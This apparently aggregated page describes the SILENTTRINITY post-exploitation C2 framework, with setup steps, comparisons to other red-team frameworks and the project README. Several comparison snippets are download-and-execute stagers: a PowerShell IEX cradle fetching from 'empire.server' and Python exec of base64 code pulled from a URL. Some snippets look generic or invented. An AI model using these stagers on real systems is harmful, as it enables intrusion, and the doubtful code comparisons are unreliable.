SILENTTRINITY
An asynchronous, collaborative post-exploitation agent powered by Python and .NET's DLR
Top Related Projects
Covenant is a collaborative .NET C2 framework for red teamers.
Empire is a PowerShell and Python post-exploitation agent.
A proxy aware C2 framework used to aid red teamers with post-exploitation and lateral movement.
Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.
Adversary Emulation Framework
Metasploit Framework
Quick Overview
SILENTTRINITY is an asynchronous, post-exploitation, command and control framework powered by Python 3 and .NET Core. It's designed for red team operations and penetration testing, providing a robust platform for remote administration and lateral movement within compromised networks.
Pros
- Asynchronous architecture allows for efficient handling of multiple connections
- Cross-platform compatibility due to Python 3 and .NET Core implementation
- Extensive set of built-in modules for various post-exploitation tasks
- Active development and community support
Cons
- Requires .NET Core runtime on target systems, which may not always be present
- Complex setup process compared to some other C2 frameworks
- Potential for misuse in unauthorized or malicious activities
- Limited documentation for advanced features and customization
Getting Started
-
Clone the repository:
git clone https://github.com/byt3bl33d3r/SILENTTRINITY.git
-
Install dependencies:
cd SILENTTRINITY pip3 install -r requirements.txt
-
Run the server:
python3 st.py
-
In the SILENTTRINITY console, start a listener:
listeners use http start
-
Generate a stager and execute it on the target system:
stagers use csharp generate http
Note: This is a powerful tool intended for authorized security testing only. Always obtain proper permissions before use.
Competitor Comparisons
Covenant is a collaborative .NET C2 framework for red teamers.
Pros of Covenant
- More extensive GUI with a user-friendly interface for easier management
- Supports a wider range of listeners and implants
- Active development with frequent updates and community contributions
Cons of Covenant
- Larger codebase, potentially making it more complex to customize
- Higher resource consumption due to its comprehensive features
- Steeper learning curve for new users
Code Comparison
SILENTTRINITY (Python):
class STModule(object):
def __init__(self):
self.name = ''
self.description = ''
self.author = ''
self.options = {}
Covenant (C#):
public abstract class Module
{
public string Name { get; set; }
public string Description { get; set; }
public string Author { get; set; }
public Dictionary<string, string> Options { get; set; }
}
Both projects use similar structures for defining modules, with Covenant using C# properties and SILENTTRINITY using Python class attributes. Covenant's approach is more aligned with modern C# practices, while SILENTTRINITY's Python implementation is more straightforward.
Empire is a PowerShell and Python post-exploitation agent.
Pros of Empire
- More mature and feature-rich project with extensive documentation
- Larger community and active development
- Supports a wider range of post-exploitation modules and techniques
Cons of Empire
- Larger codebase and complexity, potentially harder to maintain
- More likely to be detected by antivirus solutions due to its popularity
- Requires more setup and configuration compared to SILENTTRINITY
Code Comparison
Empire (PowerShell stager):
$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX $wc.DownloadString('http://empire.server/launcher');
SILENTTRINITY (Python stager):
import sys, base64
import urllib.request as urllib2
exec(base64.b64decode(urllib2.urlopen(sys.argv[1]).read()))
The code comparison shows that Empire uses a more complex PowerShell-based stager, while SILENTTRINITY employs a simpler Python-based approach. This reflects the overall design philosophy of each project, with Empire offering more features and SILENTTRINITY focusing on simplicity and evasion.
A proxy aware C2 framework used to aid red teamers with post-exploitation and lateral movement.
Pros of PoshC2
- More mature and actively maintained project with regular updates
- Extensive documentation and user guides available
- Built-in support for various payloads and lateral movement techniques
Cons of PoshC2
- Primarily focused on PowerShell, which may limit its effectiveness against modern defenses
- Steeper learning curve for users not familiar with PowerShell scripting
- Larger codebase and more complex setup compared to SILENTTRINITY
Code Comparison
PoshC2 (PowerShell-based payload):
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("BASE64_ENCODED_PAYLOAD"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
SILENTTRINITY (Python-based stager):
import base64, zlib
exec(zlib.decompress(base64.b64decode("BASE64_ENCODED_PAYLOAD")))
Both projects aim to provide post-exploitation frameworks, but they differ in their approach and implementation. PoshC2 offers a more comprehensive set of features and documentation, making it suitable for complex engagements. SILENTTRINITY, on the other hand, provides a more lightweight and modern approach, leveraging Python and .NET technologies for improved evasion capabilities. The choice between the two depends on the specific requirements of the engagement and the user's familiarity with the underlying technologies.
Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.
Pros of Merlin
- Written in Go, offering better performance and easier cross-platform compilation
- Supports multiple communication protocols (HTTP/1.1, HTTP/2, HTTPS, DNS)
- More active development and frequent updates
Cons of Merlin
- Larger binary size due to Go compilation
- Less extensive documentation compared to SILENTTRINITY
- Steeper learning curve for users new to Go-based tools
Code Comparison
Merlin (server-side HTTP handler):
func (s *Server) httpHandler(w http.ResponseWriter, r *http.Request) {
if s.authenticated(r) {
s.httpPostHandler(w, r)
} else {
s.httpUnauthorizedHandler(w, r)
}
}
SILENTTRINITY (client-side stager):
def generate_stager(self, listener):
with open('core/teamserver/data/naga.exe', 'rb') as f:
stager = f.read()
return stager
The code snippets demonstrate different approaches:
- Merlin uses Go for server-side handling of HTTP requests
- SILENTTRINITY uses Python for generating client-side stagers
Both projects aim to provide post-exploitation frameworks, but their implementation languages and specific features differ, catering to various user preferences and requirements.
Adversary Emulation Framework
Pros of Sliver
- More active development and frequent updates
- Broader range of supported implant types (e.g., Meterpreter, Beacon)
- Built-in support for multiple C2 protocols (DNS, HTTP, MTLS)
Cons of Sliver
- Steeper learning curve due to more complex features
- Larger codebase, potentially making it harder to audit
- May be overkill for simpler red team operations
Code Comparison
SILENTTRINITY (Python):
class STModule(object):
def __init__(self):
self.name = 'Example'
self.description = 'Example module'
self.author = '@byt3bl33d3r'
self.options = {}
Sliver (Go):
type Module struct {
Name string
Description string
Author string
Options map[string]*Option
}
Both projects use similar structures for defining modules, but Sliver's implementation in Go may offer performance benefits for certain operations. SILENTTRINITY's Python-based approach might be more accessible for rapid prototyping and easier customization.
Metasploit Framework
Pros of Metasploit-framework
- Extensive library of exploits and modules
- Active community and regular updates
- Well-documented and supported by a commercial entity (Rapid7)
Cons of Metasploit-framework
- Larger footprint and potentially easier to detect
- Steeper learning curve for beginners
- May be considered "noisy" in some penetration testing scenarios
Code Comparison
SILENTTRINITY (Python):
@register_cli_commands
class Tasks(Command):
def __init__(self):
self.name = 'tasks'
self.description = 'Task management'
def execute(self, command):
pass
Metasploit-framework (Ruby):
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Sample Exploit',
'Description' => 'This is a sample exploit module'
))
end
end
Both projects use object-oriented programming, but SILENTTRINITY is written in Python while Metasploit-framework uses Ruby. SILENTTRINITY's code appears more concise, while Metasploit-framework's structure is more verbose but potentially more descriptive.
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual CopilotREADME
SILENTTRINITY
SILENTTRINITY is modern, asynchronous, multiplayer & multiserver C2/post-exploitation framework powered by Python 3 and .NETs DLR. It's the culmination of an extensive amount of research into using embedded third-party .NET scripting languages to dynamically call .NET API's, a technique the author coined as BYOI (Bring Your Own Interpreter). The aim of this tool and the BYOI concept is to shift the paradigm back to PowerShell style like attacks (as it offers much more flexibility over traditional C# tradecraft) only without using PowerShell in anyway.
Some of the main features that distinguish SILENTTRINITY are:
- Multi-User & Multi-Server - Supports multi-user collaboration. Additionally, the client can connect to and control multiple Teamservers.
- Client and Teamserver Built in Python 3.7 - Latest and greatest features of the Python language are used, heavy use of Asyncio provides ludicrous speeds.
- Real-time Updates and Communication - Use of Websockets allow for real-time communication and updates between the Client and Teamserver.
- Focus on Usability with an Extremely Modern CLI - Powered by prompt-toolkit.
- Dynamic Evaluation/Compilation Using .NET Scripting Languages - The SILENTTRINITY implant Naga, is somewhat unique as it uses embedded third-party .NET scripting languages (e.g. Boolang) to dynamically compile/evaluate tasks, this removes the need to compile tasks server side, allows for real-time editing of modules, provides greater flexibilty and stealth over traditional C# based payloads and makes everything much more light-weight.
- ECDHE Encrypted C2 Communication - SILENTTRINITY uses Ephemeral Elliptic Curve Diffie-Hellman Key Exchange to encrypt all C2 traffic between the Teamserver and its implant.
- Fully Modular - Listeners, Modules, Stagers and C2 Channels are fully modular allowing operators to easily build their own.
- Extensive logging - Every action is logged to a file.
- Future proof - HTTPS/HTTP listeners are built on Quart & Hypercorn which also support HTTP2 & Websockets.
Call for Contributions
I'm just one person developing this mostly in my spare time, I do need to have a life outside of computers (radical idea, I know).
This means that if anyone finds this tool useful and would like to see X functionality added, the best way to get it added is to submit a Pull Request.
Be the change you want to see in the world!
As of the time of writing the most useful thing you can contribute are post-ex modules: this would allow me to concentrate efforts on the framework itself, user experience, QOL features etc...
To do this, you're going to have to learn the Boo programming language (the Boo wiki is amazing and has everything you'd need to get started), if you know Python you'll find yourself at home :).
Check out some of the existing modules, if you've written an Empire module before you'll see its very similar. Finally you can start porting over post-ex modules from other C2 frameworks such as Empire.
Documentation, Setup & Basic Usage
The documentation is a work in progress but some is already available in the Wiki.
See here for install instructions and here for basic usage.
I recommend making wild use the help
command and the -h
flag :)
Author
Marcello Salvati (@byt3bl33d3r)
Acknowledgments, Contributors & Involuntary Contributors
(In no particular order)
- @devinmadewell for some awesome modules.
- @RemiEscourrou for some awesome modules.
- @nicolas_dbresse a.k.a @Daudau for contributing an insane amount of modules.
- @C_Sto for helping me with some of the .NET ECDHE implementation details and keeping my sanity.
- @davidtavarez for making some amazing contributions including a cross-platform stager.
- @mcohmi a.k.a daddycocoaman, for being awesome and making code contributions including modules.
- @SkelSec for the amazing work on Pypykatz and for being a general inspiration.
- @cobbr_io for writing SharpSploit which was heavily used as a reference throughout building a lot of the implant code & modules.
- @harmj0y for writing SeatBelt which I stole (won't be the least thing I'll steal from him either!) and ported over to Boolang and for being a general inspiration.
- @TheWover & Odzhan for writing Donut which SILENTTRINITY makes heavy use of.
- modexp for helping me with a bunch of low level windows stuff which one day I'll learn when I decide to grow up.
- @xpn for making an AMSI Patch which I stole and for being a general inspiration.
- @_RastaMouse for making an AMSI Patch which I stole and for being a general inspiration.
- @r3dQu1nn for writing his awesome AggressorScripts, decent amount of SILENTTRINITY modules are based off of those scripts.
- @matterpreter for stealing a bunch of stuff from his OffensiveCSharp repository.
- @hackabean for some awesome modules.
Top Related Projects
Covenant is a collaborative .NET C2 framework for red teamers.
Empire is a PowerShell and Python post-exploitation agent.
A proxy aware C2 framework used to aid red teamers with post-exploitation and lateral movement.
Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.
Adversary Emulation Framework
Metasploit Framework
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual Copilot